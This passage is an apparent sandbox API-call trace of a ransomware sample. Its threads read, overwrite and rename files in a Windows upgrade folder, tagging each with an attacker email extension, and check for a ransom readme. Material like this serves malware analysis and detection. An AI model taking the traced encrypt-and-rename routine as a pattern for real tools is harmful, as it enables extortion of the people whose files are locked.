[0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x183868a [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x86093a85 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xfb27a85c [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x5a6becb4 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x5ebcded4 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x9cc7eb91 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xdeec5a04 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xdecba405 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x64ed9271 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xb0edd838 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xe8ea1297 [0075.877] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x23447e3e [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x75401709 [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xef3a66a0 [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xfce310c6 [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x7d692f1 [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x1c59bec7 [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0xf166e4d5 [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x9c29120b [0075.878] RtlRandom (in: Seed=0x1d53fcb8 | out: Seed=0x1d53fcb8) returned 0x27ec275f [0075.888] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.889] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d53fc84, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d53fc84*=0x4096, lpOverlapped=0x0) returned 1 [0075.891] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0075.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0075.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788c8 [0075.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788f0 [0075.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788f0) returned 1 [0075.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.892] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d53fc84, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d53fc84*=0x4096, lpOverlapped=0x0) returned 1 [0075.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.892] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xf44d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.892] WriteFile (in: hFile=0x9e8, lpBuffer=0x34788c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d53fcbc, lpOverlapped=0x0 | out: lpBuffer=0x34788c8*, lpNumberOfBytesWritten=0x1d53fcbc*=0x20, lpOverlapped=0x0) returned 1 [0075.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788c8) returned 1 [0075.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.893] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d53fcd0, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d53fcd0*=0x8, lpOverlapped=0x0) returned 1 [0075.893] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d53fce8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d53fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1d53fce8*, lpNumberOfBytesWritten=0x1d53fcd0*=0x4, lpOverlapped=0x0) returned 1 [0075.893] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d53fcd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d53fcd0*=0x4, lpOverlapped=0x0) returned 1 [0075.893] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d53fcd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d53fcd0*=0x6c, lpOverlapped=0x0) returned 1 [0075.893] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d53fcd0, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d53fcd0*=0x20, lpOverlapped=0x0) returned 1 [0075.893] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d53fcd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d53fcd0*=0x4, lpOverlapped=0x0) returned 1 [0075.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788a0) returned 1 [0075.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.893] CloseHandle (hObject=0x9e8) returned 1 [0075.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e69c0 [0075.893] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\default.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm" [0075.893] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731" [0075.893] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.894] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0075.894] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm", dwFileAttributes=0x20) returned 0 [0075.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.894] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.894] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.895] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426bf0) returned 1 [0075.895] RtlExitUserThread (Status=0x1) Thread: id = 784 os_tid = 0x10e4 [0075.891] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css")) returned 0x20 [0075.896] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css", dwFileAttributes=0x20) returned 1 [0075.896] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.897] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d5bfce4 | out: lpFileSize=0x1d5bfce4*=6700) returned 1 [0075.897] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x1a28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.897] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d5bfcb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d5bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x1d5bfcb8*, lpNumberOfBytesRead=0x1d5bfcb4*=0x4, lpOverlapped=0x0) returned 1 [0075.898] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788a0 [0075.898] NtQuerySystemTime (in: CurrentTime=0x1d5bfc90 | out: CurrentTime=0x1d5bfc90*=132121176337846692) returned 0x0 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x3fb2e45e [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x33cae79d [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x75d2fd20 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x770ee166 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x2a7dee4f [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x78149067 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x230241fc [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x9cbe7ec2 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x69bebbb3 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xe12fc5c [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xb3b7297f [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xd9fb7852 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x19164da5 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x1a99a869 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x1b535464 [0075.898] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x11d06ac8 [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x1983d57c [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xe9b14dc0 [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x4aeb4465 [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xfb20ea75 [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xf42ae6f [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x4b6d86ac [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xaf0590ba [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xc38880fd [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x607f065c [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xe22cc97e [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x23225e9 [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x4658777d [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xc7093100 [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xd8800217 [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0x88bce24e [0075.899] RtlRandom (in: Seed=0x1d5bfc9c | out: Seed=0x1d5bfc9c) returned 0xe519a0b [0075.910] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x1d5bfc90, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d5bfc90*=0x1a2c, lpOverlapped=0x0) returned 1 [0075.912] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d5bfc58 | out: lpNewFilePointer=0x0) returned 1 [0075.912] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1a2c, lpNumberOfBytesWritten=0x1d5bfc8c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d5bfc8c*=0x1a2c, lpOverlapped=0x0) returned 1 [0075.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788f0 [0075.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478918 [0075.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478918) returned 1 [0075.912] WriteFile (in: hFile=0x9e8, lpBuffer=0x34788f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d5bfc88, lpOverlapped=0x0 | out: lpBuffer=0x34788f0*, lpNumberOfBytesWritten=0x1d5bfc88*=0x20, lpOverlapped=0x0) returned 1 [0075.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788f0) returned 1 [0075.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.912] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d5bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d5bfcb4*=0x8, lpOverlapped=0x0) returned 1 [0075.912] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d5bfccc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d5bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x1d5bfccc*, lpNumberOfBytesWritten=0x1d5bfcb4*=0x4, lpOverlapped=0x0) returned 1 [0075.912] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d5bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d5bfcb4*=0x4, lpOverlapped=0x0) returned 1 [0075.912] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d5bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d5bfcb4*=0x6c, lpOverlapped=0x0) returned 1 [0075.913] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d5bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d5bfcb4*=0x20, lpOverlapped=0x0) returned 1 [0075.913] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d5bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d5bfcb4*=0x4, lpOverlapped=0x0) returned 1 [0075.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788c8) returned 1 [0075.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.913] CloseHandle (hObject=0x9e8) returned 1 [0075.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f10f0 [0075.913] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" [0075.913] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731" [0075.913] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.914] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0075.914] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css", dwFileAttributes=0x20) returned 0 [0075.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.914] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.914] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.914] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d930) returned 1 [0075.914] RtlExitUserThread (Status=0x1) Thread: id = 785 os_tid = 0x1374 [0075.915] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm")) returned 0x20 [0075.915] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm", dwFileAttributes=0x20) returned 1 [0075.916] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.916] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d63f804 | out: lpFileSize=0x1d63f804*=55866) returned 1 [0075.916] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0xda36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.916] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d63f7d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d63f7d4, lpOverlapped=0x0 | out: lpBuffer=0x1d63f7d8*, lpNumberOfBytesRead=0x1d63f7d4*=0x4, lpOverlapped=0x0) returned 1 [0075.918] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.918] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788c8 [0075.918] NtQuerySystemTime (in: CurrentTime=0x1d63f7b0 | out: CurrentTime=0x1d63f7b0*=132121176338158924) returned 0x0 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x367b5c91 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xeb198a86 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x83a3a781 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x27698bdd [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x61155107 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xadc0cf2c [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xab71bdd6 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xa7eca24a [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xabe96b78 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xbc142cce [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x38e2f9df [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x54f161b8 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xd4eeaff0 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xb5a3f45a [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xc5d27a99 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x47ae9ecb [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x66c491a [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x9e5cc3d9 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xd6d84884 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x6dbb69d7 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xd4d5ed71 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x943c0ecd [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xfccc1d1c [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x332a1307 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x4637ee8f [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xa8c44c5b [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xe5019cc6 [0075.918] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xd9d59b90 [0075.919] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xd51f003 [0075.919] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x755b312f [0075.919] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0x4e5834d8 [0075.919] RtlRandom (in: Seed=0x1d63f7bc | out: Seed=0x1d63f7bc) returned 0xe4a4a028 [0075.929] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.929] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d63f788, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d63f788*=0x4096, lpOverlapped=0x0) returned 1 [0075.932] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0075.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0075.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478918 [0075.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478940 [0075.932] RtlFreeHeap 